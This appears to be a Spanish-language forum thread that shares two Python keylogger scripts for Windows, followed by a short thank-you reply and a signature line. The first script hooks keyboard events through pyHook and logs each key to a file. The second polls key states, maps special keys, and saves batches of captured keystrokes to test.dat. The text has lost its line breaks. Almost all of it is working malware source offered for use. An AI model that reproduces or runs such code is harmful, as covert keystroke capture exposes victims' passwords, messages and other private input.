#!usr/bin/python#Simple Keylogger in Python#(C) Doddy Hackman 2011import pyHook,pythoncomdef savefile(name,text): file = open(name,"a") file.write(text+"\n") file.close()def toma(frase): savefile("logs.txt",frase.Key)def capturar(): nave = pyHook.HookManager() nave.KeyDown = toma nave.HookKeyboard() pythoncom.PumpMessages()while 1: capturar()# The End
import win32api as w32apiimport win32ui as w32uiimport win32con as w32conimport sysok = -32767texto_loggear = ""dicc = {112:" [F1] ",113:" [F2] ",114:" [F3] ",115:" [F4] ",116:" [F5] ",117:" [F6] ",118:" [F7] ",119:" [F8] ",120:" [F9] ",121:" [F10] ",122:" [F11] ",123:" [F13] ",27:" [Esc] ",8:"\b",13:"\n",9:"\t",20:"[BloqMayus]",160:"[Shitf(Izq)]",161:"[Shitf(Dcha)]",221:'?',219:"'",192:"?",32:" ",144:"[BloqNum]",111:'/',106:'*',109:'-',220:'\\',49:'1',50:'2',51:'3',52:'4',53:'5',54:'6',55:'7',56:'8',57:'9',59:';',48:'0',188:',',189:'-',190:'.'}while 1: for bucle in range(4, 256): if w32api.GetAsyncKeyState(bucle) == ok: for buscando_az in range(65, 91): if bucle == buscando_az: sys.stdout.write(chr(bucle)) texto_loggear += chr(bucle) for buscando_09 in range(96, 106): if buscando_09 == bucle: sys.stdout.write(chr(bucle)) texto_loggear += chr(bucle) if bucle == 112: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 113: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 114: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 115: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 116: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 117: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 118: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 119: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 120: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 121: texto_loggear += dicc[bucle] break elif bucle == 122: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 123: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 27: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 8: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] sys.stdout.write(" ") texto_loggear += " " sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 13: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 9: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 20: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 160: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 161: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 221: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 219: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 192: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 32: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 144: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 111: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 106: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 109: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 220: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 49: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 50: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 51: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 52: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 53: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 54: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 55: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 56: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 57: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 58: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 59: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 48: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 188: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 189: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break elif bucle == 190: sys.stdout.write(chr(bucle)) texto_loggear += dicc[bucle] break w32api.Sleep(10) if len(texto_loggear) > 50: archivo = open("test.dat", "a") archivo.write(texto_loggear) archivo.close() texto_loggear = "" print "< --- Texto guardado! --- >"
Muy buen codigo shackra. Gracias por aportarlo Salu2
Anarquía es la noción radical de que las demás personas no son de tu propiedad.